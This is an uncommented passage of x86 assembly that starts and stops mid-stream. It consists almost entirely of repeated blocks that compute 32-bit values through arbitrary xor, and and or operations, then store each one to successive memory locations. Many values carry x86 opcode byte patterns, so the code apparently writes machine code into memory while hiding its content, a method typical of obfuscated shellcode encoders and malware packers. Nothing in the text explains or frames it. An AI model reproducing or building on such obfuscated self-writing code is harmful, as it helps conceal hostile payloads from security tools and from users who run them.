mov dword [ebx], eax
add ebx, edx
xor eax, 0x7498abca
and eax, 0x4500000d
or eax, 0x82000142
mov dword [ebx], eax
add ebx, edx
or eax, 0x705d980a
or eax, 0x1b7fdac1
and eax, 0x32fc045
or eax, 0x2400
mov dword [ebx], eax
add ebx, edx
or eax, 0x71030ade
and eax, 0x4b3ef6b
and eax, 0x30001
or eax, 0x45c40000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5048e8a7
and eax, 0x7ad0407c
and eax, 0x4000
or eax, 0xf0dc0
mov dword [ebx], eax
add ebx, edx
or eax, 0x359f8ee7
and eax, 0x3405c700
or eax, 0xc8400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f3054ca
and eax, 0x113ca
or eax, 0x2411
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51b6cd12
and eax, 0x409040c1
or eax, 0x2a400506
mov dword [ebx], eax
add ebx, edx
and eax, 0x7695df0c
and eax, 0x42000004
or eax, 0x850000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0xe0884df
and eax, 0x5088045
or eax, 0x20107800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1bfc1ace
or eax, 0x4471dd94
and eax, 0x44c50001
or eax, 0x1020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc2b94f6
and eax, 0xc480b0
or eax, 0x136a08
mov dword [ebx], eax
add ebx, edx
or eax, 0x200076cf
and eax, 0x747b05b9
and eax, 0x20410400
or eax, 0xcc04c300
mov dword [ebx], eax
add ebx, edx
and eax, 0x579ab41d
and eax, 0x8400
or eax, 0x94b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x242b95ae
and eax, 0x2e9dd437
and eax, 0x24080005
or eax, 0xd2d045c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x9c8a99a
or eax, 0x500515dd
and eax, 0xc7000184
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5628ddf7
and eax, 0x42000004
or eax, 0x207ff041
mov dword [ebx], eax
add ebx, edx
and eax, 0xb7b7de6
and eax, 0x430000
or eax, 0x45840000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30a18463
and eax, 0x17e1864d
and eax, 0x600440
or eax, 0x8f4a94
mov dword [ebx], eax
add ebx, edx
or eax, 0x5210302b
xor eax, 0x52dbe74f
and eax, 0x48100
or eax, 0xdc414600
mov dword [ebx], eax
add ebx, edx
or eax, 0x2dd1013b
xor eax, 0x382d413a
and eax, 0x8201
or eax, 0x17e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53ad3208
xor eax, 0x7df5be27
and eax, 0x100540
or eax, 0xa44087
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd79b2ab
and eax, 0x5000160
or eax, 0xc2000011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5965fd36
xor eax, 0x453e8917
and eax, 0x49434040
or eax, 0x4248805
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c964722
and eax, 0x44060000
or eax, 0x1c10001
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fee31b
and eax, 0x9c2118
or eax, 0x1ca4
mov dword [ebx], eax
add ebx, edx
or eax, 0x74351d88
xor eax, 0xdf87118
and eax, 0x68454400
or eax, 0x80008300
mov dword [ebx], eax
add ebx, edx
and eax, 0x3469906b
and eax, 0x32823d08
and eax, 0
or eax, 0x1448d
mov dword [ebx], eax
add ebx, edx
or eax, 0x21dbdb6e
and eax, 0x21c045c7
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f733dfa
and eax, 0x10000c2
or eax, 0xc6000009
mov dword [ebx], eax
add ebx, edx
and eax, 0x7daaabdc
or eax, 0x2955ce7b
and eax, 0xd40c441
or eax, 0x12080004
mov dword [ebx], eax
add ebx, edx
or eax, 0x62b6b278
and eax, 0x45c60001
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc3410d5
and eax, 0x7200d4
or eax, 0x44620
mov dword [ebx], eax
add ebx, edx
and eax, 0x35c1d396
and eax, 0x400200
or eax, 0xd0058900
mov dword [ebx], eax
add ebx, edx
and eax, 0x42cbead9
xor eax, 0x6fed5a8d
and eax, 0xc400d
or eax, 0x22b20
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ea57208
xor eax, 0x474efe49
and eax, 0x40408800
or eax, 0x90050100
mov dword [ebx], eax
add ebx, edx
and eax, 0x55ef2ca8
and eax, 0x440800
or eax, 0x2ba0458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78c2d59e
and eax, 0x41009005
or eax, 0xc894048
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2bb095b8
and eax, 0x20941e4
or eax, 0x8900aa00
mov dword [ebx], eax
add ebx, edx
and eax, 0x72df8fec
and eax, 0x4d17016f
and eax, 0x10044
or eax, 0xc282e411
mov dword [ebx], eax
add ebx, edx
and eax, 0x13e205a
and eax, 0x7471a5b3
and eax, 0
or eax, 0xe4558901
mov dword [ebx], eax
add ebx, edx
or eax, 0x244196f8
and eax, 0x20440589
or eax, 0x1ba04002
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c102cad
and eax, 0x8000401
or eax, 0x850fa844
mov dword [ebx], eax
add ebx, edx
and eax, 0x22ebfd71
and eax, 1
or eax, 0x84
mov dword [ebx], eax
add ebx, edx
xor eax, 0x83471fd
xor eax, 0x305e440f
and eax, 0x680503
or eax, 0x83804888
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cad2197
and eax, 0x4d890181
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
and eax, 0xa2d0a40
and eax, 0x10040
or eax, 0xf0548ba8
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f551990
and eax, 0x10080
or eax, 0x8900c203
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e36c9b5
and eax, 0xc001
or eax, 0x458b3054
mov dword [ebx], eax
add ebx, edx
or eax, 0x144f4d2a
xor eax, 0x52f19af2
and eax, 0x1280384
or eax, 0xc08070
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63f5cee
and eax, 0x3d44508
or eax, 0x88200081
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e8e1da3
and eax, 0x89825809
or eax, 0x6001a044
mov dword [ebx], eax
add ebx, edx
or eax, 0x14dc32e9
and eax, 0xf84d8801
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
and eax, 0x105d7bce
and eax, 0x4c0100
or eax, 0xf90548b
mov dword [ebx], eax
add ebx, edx
or eax, 0x834c1ca
and eax, 0x9ec558b
or eax, 0x80000024
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ece2ce8
xor eax, 0x1273af0b
and eax, 0x8b8801
or eax, 0x45000054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50de3733
or eax, 0x7a576da7
and eax, 0x14083c4
or eax, 0x800018
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ecff3a8
xor eax, 0x23fd4883
and eax, 0xd00081
or eax, 0x830c4508
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73fbbf32
and eax, 0x70008839
or eax, 0x4000044
mov dword [ebx], eax
add ebx, edx
or eax, 0x1197e0dd
and eax, 0x539c1c5e
and eax, 0x50040808
or eax, 0x88498300
mov dword [ebx], eax
add ebx, edx
and eax, 0x3cf8f1c7
and eax, 0x6791dbd
and eax, 0x400100
or eax, 0x7cb04c3b
mov dword [ebx], eax
add ebx, edx
and eax, 0x43500c23
and eax, 0x40500800
or eax, 0x94058308
mov dword [ebx], eax
add ebx, edx
or eax, 0x7780cb2c
and eax, 0x3a49e133
and eax, 0x30004120
or eax, 0x4db4141b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c138467
and eax, 0x5805812a
or eax, 0x80400a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69279846
and eax, 0x30400128
or eax, 0x4c804413
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e295069
or eax, 0x4e4933ed
and eax, 0x4c490309
or eax, 0xb0048810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4acf850b
or eax, 0x29add5aa
and eax, 0x35a84d02
or eax, 0x40400001
mov dword [ebx], eax
add ebx, edx
or eax, 0x547f36a
and eax, 0x50458b01
or eax, 0x80100010
mov dword [ebx], eax
add ebx, edx
or eax, 0x7288ac27
and eax, 0x8001aa03
or eax, 0x9004080
mov dword [ebx], eax
add ebx, edx
and eax, 0x704abbee
or eax, 0x1fa11bb3
and eax, 0x5819011
or eax, 0x400a4044
mov dword [ebx], eax
add ebx, edx
and eax, 0x712d525c
xor eax, 0x74328b5a
and eax, 0x10010b08
or eax, 0xc04420f0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c61f566
and eax, 0x10160
or eax, 0x4d8a0814
mov dword [ebx], eax
add ebx, edx
or eax, 0x31113fd9
xor eax, 0x383a1aa1
and eax, 0x1a10144
or eax, 0x488280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x270a72bc
and eax, 0x2c04108
or eax, 0x89040c81
mov dword [ebx], eax
add ebx, edx
or eax, 0x3117d1c8
and eax, 0xaa83c841
or eax, 0x40000014
mov dword [ebx], eax
add ebx, edx
and eax, 0x52a99829
xor eax, 0x4597b973
and eax, 0x140100
or eax, 0xc8418801
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a6aa9a8
and eax, 0x68bc2af0
and eax, 0x48000000
or eax, 0xb7ff66e9
mov dword [ebx], eax
add ebx, edx
and eax, 0x478998fb
and eax, 0x440100e9
or eax, 0xb0448b16
mov dword [ebx], eax
add ebx, edx
and eax, 0x455b5e04
xor eax, 0x174b42dc
and eax, 0x4008
or eax, 0x60a325
mov dword [ebx], eax
add ebx, edx
or eax, 0x340e4247
and eax, 0x34448100
or eax, 0xc0010800
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d9b96e7
and eax, 0x29c3a45e
and eax, 0
or eax, 0x3f84d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x330adcd8
and eax, 0x18f0b6ff
and eax, 0x809041
or eax, 0x4d09640c
mov dword [ebx], eax
add ebx, edx
or eax, 0x2caf76b6
and eax, 0x16fd8cef
and eax, 0x980e8
or eax, 0x8b006b10
mov dword [ebx], eax
add ebx, edx
and eax, 0x34dfa036
xor eax, 0x4454dce6
and eax, 0x40017854
or eax, 0x82828001
mov dword [ebx], eax
add ebx, edx
or eax, 0x7394bb87
and eax, 0xf0158901
or eax, 0x8400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x184fb667
and eax, 0x18400001
or eax, 0x23b8458a
mov dword [ebx], eax
add ebx, edx
and eax, 0x476a1ec2
and eax, 0x1080000
or eax, 0x8c07b045
mov dword [ebx], eax
add ebx, edx
and eax, 0x2953b6
or eax, 0x402f57f2
and eax, 0xe2
or eax, 8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f73ebec
and eax, 0x2287a748
and eax, 0x2000100
or eax, 0x81cc4c8b
mov dword [ebx], eax
add ebx, edx
and eax, 0x67a67064
and eax, 0x1800000
or eax, 0x4c0901c1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7fdf6c36
and eax, 0x205409c4
or eax, 0xcc018208
mov dword [ebx], eax
add ebx, edx
or eax, 0x70513423
and eax, 0x88018283
or eax, 0x1004000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1aee1585
xor eax, 0x12fdbf75
and eax, 0x89ac54
or eax, 0x45024001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58b70ec
or eax, 0x4bb5608a
and eax, 0x18080b8
or eax, 0x400344
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ebe11fc
and eax, 0xbfc0188
or eax, 0x80004401
mov dword [ebx], eax
add ebx, edx
and eax, 0x16694d4e
xor eax, 0x6f154a7
and eax, 0x81000d
or eax, 0xc102e440
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e2bc691
and eax, 0xc4098001
or eax, 0x20440900
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bad37ff
and eax, 0x3ba8158b
or eax, 0x104000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35da1753
xor eax, 0x4cbe53bc
and eax, 0x25c1044
or eax, 0x3021e011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x579e1fe0
and eax, 0x48575320
and eax, 0x4100
or eax, 0x83b4048b
mov dword [ebx], eax
add ebx, edx
or eax, 0x20ef3290
and eax, 0x1890188
or eax, 0x44000060
mov dword [ebx], eax
add ebx, edx
and eax, 0x531e2515
and eax, 0x2beb6183
and eax, 0x80100
or eax, 0xb4458ab4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62cd75a5
xor eax, 0x5aa5a828
and eax, 0xc244439
or eax, 0x71c80902
mov dword [ebx], eax
add ebx, edx
xor eax, 0x788ab3cf
and eax, 0x4448a10
or eax, 0xf0110100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6de37888
xor eax, 0x2804e16f
and eax, 0x4c04412b
or eax, 0x31a81410
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a3b9fbb
and eax, 0x58a00
or eax, 0xe0400108
mov dword [ebx], eax
add ebx, edx
or eax, 0x1de3cacf
or eax, 0x732881f1
and eax, 0x75a84103
or eax, 0x100400
mov dword [ebx], eax
add ebx, edx
or eax, 0x44c32205
and eax, 0x74c94d88
and eax, 0x44490100
or eax, 0x88048a08
mov dword [ebx], eax
add ebx, edx
or eax, 0x21292044
and eax, 0x64400908
or eax, 0x10804403
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f6dec57
and eax, 0x6361d01f
and eax, 0x40418009
or eax, 0x8c140b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ad2ac70
xor eax, 0x2cb325cf
and eax, 0x1a883
or eax, 0x89004200
mov dword [ebx], eax
add ebx, edx
and eax, 0x13f6a834
and eax, 0x1008800
or eax, 0x448b4455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x476814c7
and eax, 0x32f9b74f
and eax, 0xc08000
or eax, 0x10003f4
mov dword [ebx], eax
add ebx, edx
or eax, 0x31b3ec9c
and eax, 0x20824d1a
and eax, 0x804508
or eax, 0x8b740081
mov dword [ebx], eax
add ebx, edx
or eax, 0x328d4bc8
and eax, 0x70f1c220
and eax, 0x314000
or eax, 0x4d0a8c4d
mov dword [ebx], eax
add ebx, edx
and eax, 0x342e38df
and eax, 0xa0844
or eax, 0x8b017580
mov dword [ebx], eax
add ebx, edx
and eax, 0x7377a563
or eax, 0x24ef4b50
and eax, 0x5236050
or eax, 0x50109005
mov dword [ebx], eax
add ebx, edx
and eax, 0x46a12450
and eax, 0x40012000
or eax, 0xa8541bac
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ffd74b8
and eax, 0x4589363c
or eax, 0x20040
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e4d1112
and eax, 0x4010000
or eax, 0xf8442be0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c578c99
xor eax, 0x9ba10b8
and eax, 0x75e40501
or eax, 0x800403a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bb0e1fc
and eax, 0x3c448160
or eax, 0x80090a00
mov dword [ebx], eax
add ebx, edx
or eax, 0xd467b05
and eax, 0x8a05559
and eax, 0x8004101
or eax, 0x33b80c22
mov dword [ebx], eax
add ebx, edx
or eax, 0x6946cc6e
and eax, 0x2b8935eb
and eax, 0x1080449
or eax, 0x5475d004
mov dword [ebx], eax
add ebx, edx
and eax, 0x581cf2b1
or eax, 0x69f0d651
and eax, 0x39c05401
or eax, 0x200018a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x600595ae
and eax, 0x945c005
or eax, 0x381c50
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18af6c34
xor eax, 0x23f9fa1d
and eax, 0x284044
or eax, 0x1800583
mov dword [ebx], eax
add ebx, edx
and eax, 0x349229ce
and eax, 0
or eax, 0xeb000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e8865b6
and eax, 0x28000000
or eax, 0x8045c707
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b735e56
or eax, 0x25a64139
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b7ba312
and eax, 0
or eax, 0x23d4458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c3765cc
and eax, 0x25742045
or eax, 0x10008800
mov dword [ebx], eax
add ebx, edx
and eax, 0x813ddac
and eax, 0x100800
or eax, 0xbc4458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x273d4054
and eax, 0x2461044d
or eax, 0x14c000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5923fde7
and eax, 0x134558b
or eax, 0x2800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42719e17
and eax, 0x130a952e
and eax, 0x8004
or eax, 0x1c755c51
mov dword [ebx], eax
add ebx, edx
xor eax, 0x320f22bb
xor eax, 0x2f4a07a
and eax, 0xc884480
or eax, 0x330010b
mov dword [ebx], eax
add ebx, edx
or eax, 0x677b4286
and eax, 0x2be8458f
or eax, 0x10040020
mov dword [ebx], eax
add ebx, edx
or eax, 0x5589f42c
and eax, 0x106cd005
or eax, 0x100840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c403056
or eax, 0x7b707efc
and eax, 0x3b584c8b
or eax, 0x800100
mov dword [ebx], eax
add ebx, edx
or eax, 0x4065c80b
and eax, 0x87cc409
or eax, 0x2044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53c73ecf
or eax, 0x264803d1
and eax, 0x3bc85183
or eax, 0x408
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ff94d0a
and eax, 0x9484000
or eax, 0x35b055
mov dword [ebx], eax
add ebx, edx
or eax, 0x64ef32a2
or eax, 0x20639803
and eax, 0x1ec4083
or eax, 0x82000508
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b50fdfc
and eax, 0x398882d0
and eax, 0x1000080
or eax, 0x44890168
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cf5295c
and eax, 0x56d03bbc
and eax, 0x540029ac
or eax, 0xab01c040
mov dword [ebx], eax
add ebx, edx
and eax, 0x59ef59d3
or eax, 0x13673c44
and eax, 0xa607dc4
or eax, 0x2088823b
mov dword [ebx], eax
add ebx, edx
or eax, 0x2af65466
and eax, 0x1c24fac0
and eax, 0x8000000
or eax, 0x83000133
mov dword [ebx], eax
add ebx, edx
and eax, 0x666fb192
xor eax, 0x3011ec56
and eax, 0x1c044
or eax, 0xc1800009
mov dword [ebx], eax
add ebx, edx
and eax, 0x5af2626e
and eax, 0x404c
or eax, 0x9091
mov dword [ebx], eax
add ebx, edx
and eax, 0xfd3d9e
and eax, 0x29c89024
and eax, 0
or eax, 0x8bc04d89
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15f2104f
xor eax, 0x3098b17a
and eax, 0x402e414
or eax, 0x51010041
mov dword [ebx], eax
add ebx, edx
or eax, 0x36842756
xor eax, 0x19d943f9
and eax, 0x64548080
or eax, 0x80010940
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ca138ed
and eax, 0x800129
or eax, 0x450b08c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x52b4382c
xor eax, 0x3db3a707
and eax, 0x82e0
or eax, 0x1c00104
mov dword [ebx], eax
add ebx, edx
and eax, 0x35290873
xor eax, 0x6376fd21
and eax, 0x2644501
or eax, 0x89800088
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ea49602
and eax, 0x4d20c409
or eax, 0x1b2044
mov dword [ebx], eax
add ebx, edx
and eax, 0x395628ba
and eax, 0x8000008
or eax, 0xa48d0fc0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e9d72c2
and eax, 0x8000000
or eax, 0x83000001
mov dword [ebx], eax
add ebx, edx
and eax, 0xc3c63aa
and eax, 0
or eax, 0x5533e855
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a5019ba
and eax, 0x1924994b
and eax, 0x9201108
or eax, 0x820464b4
mov dword [ebx], eax
add ebx, edx
and eax, 0x11dd566e
and eax, 0x1005004
or eax, 0x443ba841
mov dword [ebx], eax
add ebx, edx
and eax, 0x39771135
and eax, 0x1031000
or eax, 0x8a086dc0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fc401c7
xor eax, 0x2c3ed091
and eax, 0x4101ac44
or eax, 0xc025009
mov dword [ebx], eax
add ebx, edx
or eax, 0x402052f9
and eax, 0x4c013ae0
or eax, 0x904c0100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44c3af92
and eax, 0x108a1070
or eax, 0x4501010c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x577c4a63
and eax, 0x2c30903a
and eax, 0x200010
or eax, 0x1ca83e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64bc8ba1
xor eax, 0x3d31bd45
and eax, 0x8601500
or eax, 0x83904089
mov dword [ebx], eax
add ebx, edx
xor eax, 0x221b8626
xor eax, 0x5460b9fe
and eax, 0x450b4041
or eax, 0x309004
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d3e52f4
and eax, 0x1085040
or eax, 0x8a012db0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57a69eb
and eax, 0x80031009
or eax, 0x4180c844
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b26bb62
and eax, 0x40008800
or eax, 0x984d0101
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cd878ab
and eax, 0x480001
or eax, 0x83a4558a
mov dword [ebx], eax
add ebx, edx
and eax, 0x77d24c95
and eax, 0x1800080
or eax, 0x5409016a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33072b8f
and eax, 0x20040a64
or eax, 0x90418188
mov dword [ebx], eax
add ebx, edx
and eax, 0x65bb15c4
xor eax, 0x36217b49
and eax, 0x14002a0d
or eax, 0xa8458502
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e5bd44f
or eax, 0x48c303e0
and eax, 0x3c54c085
or eax, 0x1200000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f1b4bac
and eax, 0x280909
or eax, 0x89904482
mov dword [ebx], eax
add ebx, edx
xor eax, 0x644fdc71
and eax, 0x45838048
or eax, 0x10080405
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54b4ab8f
and eax, 0x37746d5
and eax, 0x1500c0
or eax, 0x8040890c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c250d68
xor eax, 0x25d759f4
and eax, 0x81a04500
or eax, 0x218008b
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a531c0a
and eax, 0
or eax, 0x458901c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e3143bc
and eax, 0x80238
or eax, 0x84458980
mov dword [ebx], eax
add ebx, edx
or eax, 0x5cd3b327
xor eax, 0x132ed28a
and eax, 0x4d804931
or eax, 0x3000040a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b22818
and eax, 0x20004501
or eax, 0x84458208
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73f35a7
or eax, 0x4788106f
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x281ef3bf
or eax, 0x241f1fe8
and eax, 0x40707e9
or eax, 0x41c00002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x632d285b
or eax, 0x2d6498ac
and eax, 0xa4
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x542c1a17
or eax, 0x6ed139cd
and eax, 0x5c550b00
or eax, 0x80008000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfd440d5
xor eax, 0x17c5b508
and eax, 0x44045411
or eax, 0x30a00122
mov dword [ebx], eax
add ebx, edx
and eax, 0x7257738f
and eax, 0x1f75871c
and eax, 0x40100
or eax, 0xac418a08
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cec372e
xor eax, 0x2647c3b3
and eax, 0x40804409
or eax, 0x35500102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78b41b50
xor eax, 0x728d5e31
and eax, 0x60490000
or eax, 0x80048b10
mov dword [ebx], eax
add ebx, edx
or eax, 0x38c944f0
and eax, 0x78c04d30
or eax, 0x500000b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42369da6
or eax, 0x643220c7
and eax, 0x78548019
or eax, 0x80010b20
mov dword [ebx], eax
add ebx, edx
and eax, 0x2284489d
and eax, 0x20040019
or eax, 0x5de85522
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c2ce8e7
and eax, 0x2f0c75f3
and eax, 0x40021
or eax, 0xc0418b10
mov dword [ebx], eax
add ebx, edx
and eax, 0x75771f01
and eax, 0x62d700a9
and eax, 0x40440001
or eax, 0x3db0453a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2eae3254
xor eax, 0x20ec7f8b
and eax, 0x50000820
or eax, 0xa04d8309
mov dword [ebx], eax
add ebx, edx
and eax, 0x820892c
and eax, 0x928
or eax, 0x7dbc4413
mov dword [ebx], eax
add ebx, edx
or eax, 0xb10c881
xor eax, 0x55dae439
and eax, 0x20440100
or eax, 0x8001c609
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73382844
or eax, 0x4b3fe71b
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x45b9acb4
and eax, 0x1fd95a23
and eax, 0
or eax, 0x45c707eb
mov dword [ebx], eax
add ebx, edx
or eax, 0x169d37bb
and eax, 0x6977c044
and eax, 0
or eax, 0xa0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73d991d3
or eax, 0x707a6770
and eax, 0x50518300
or eax, 0x88040800
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e88fdea
and eax, 0x100
or eax, 0x74a05423
mov dword [ebx], eax
add ebx, edx
and eax, 0x4851ee31
and eax, 0x791ea54d
and eax, 0x40000001
or eax, 0xa8458b08
mov dword [ebx], eax
add ebx, edx
or eax, 0x39870606
and eax, 0x54155f93
and eax, 0x10803
or eax, 0x8900e080
mov dword [ebx], eax
add ebx, edx
or eax, 0x179eade
and eax, 0x909e845
or eax, 0x44820000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a2490f5
and eax, 0x3f1adaff
and eax, 0x100800a0
or eax, 0xe8452348
mov dword [ebx], eax
add ebx, edx
or eax, 0x44ec8a67
xor eax, 0x3fc29eab
and eax, 0x410b2044
or eax, 0x14800031
mov dword [ebx], eax
add ebx, edx
and eax, 0x55a648e1
and eax, 0x50000040
or eax, 0x88553b80
mov dword [ebx], eax
add ebx, edx
and eax, 0x226e994c
and eax, 0x840
or eax, 0x458b003d
mov dword [ebx], eax
add ebx, edx
and eax, 0x63feb87f
and eax, 0x4000085c
or eax, 0xb4453380
mov dword [ebx], eax
add ebx, edx
and eax, 0x291cc492
and eax, 0x10
or eax, 0x4d8b106c
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a1ae1a2
and eax, 0x63ea605
and eax, 0x80000
or eax, 0xcc4523b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b4c484b
and eax, 0x55090871
or eax, 0x820004
mov dword [ebx], eax
add ebx, edx
or eax, 0x309b1e4a
and eax, 0x60111a3c
or eax, 0x80442180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x691740bb
and eax, 0x1020905
or eax, 0x44890078
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c253ad0
and eax, 0x6f58f20
and eax, 0xa00320
or eax, 0x148809c
mov dword [ebx], eax
add ebx, edx
and eax, 0x4063fc25
or eax, 0x26312b05
and eax, 0x2300101
or eax, 0x898c4488
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b84aa1d
and eax, 0xab0ce40d
or eax, 0x4031040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f54124c
or eax, 0xcb19fc9
and eax, 0x4c3bb849
or eax, 0x1000004
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e876571
and eax, 0x1f8d0d44
or eax, 0x80000280
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b41ca7d
and eax, 0xb000000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4dd93c9
and eax, 0x5019041
or eax, 0x50226014
mov dword [ebx], eax
add ebx, edx
or eax, 0x124e1b13
and eax, 0x54058954
or eax, 0x289000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x160868aa
and eax, 0xa9de9fe
or eax, 0x81621601
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bbbe28c
or eax, 0x1129e65d
and eax, 0x189c045
or eax, 0x84001000
mov dword [ebx], eax
add ebx, edx
and eax, 0x25cc469d
or eax, 0x33dcb34b
and eax, 0x37dcf348
or eax, 0xc8230c30
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7726c570
and eax, 0x80d00808
or eax, 0x3204583
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c4a3e29
and eax, 0xd8801a0
or eax, 0x40010049
mov dword [ebx], eax
add ebx, edx
or eax, 0x6103df1c
or eax, 0x7ceaef91
and eax, 0x7c818bf0
or eax, 0x140000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e2f414b
and eax, 0x3abfcbfb
or eax, 0x1403404
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e483188
and eax, 0x25b74815
or eax, 0xda483080
mov dword [ebx], eax
add ebx, edx
or eax, 0x1546efce
and eax, 0x8b737ddf
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
and eax, 0x186c9924
and eax, 0x1804
or eax, 0x8589a441
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a6a9c72
xor eax, 0x332aa1fb
and eax, 0xccc11d04
or eax, 0x333ee270
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3729fa5e
and eax, 0x88c0050a
or eax, 0x1004881
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c226a5
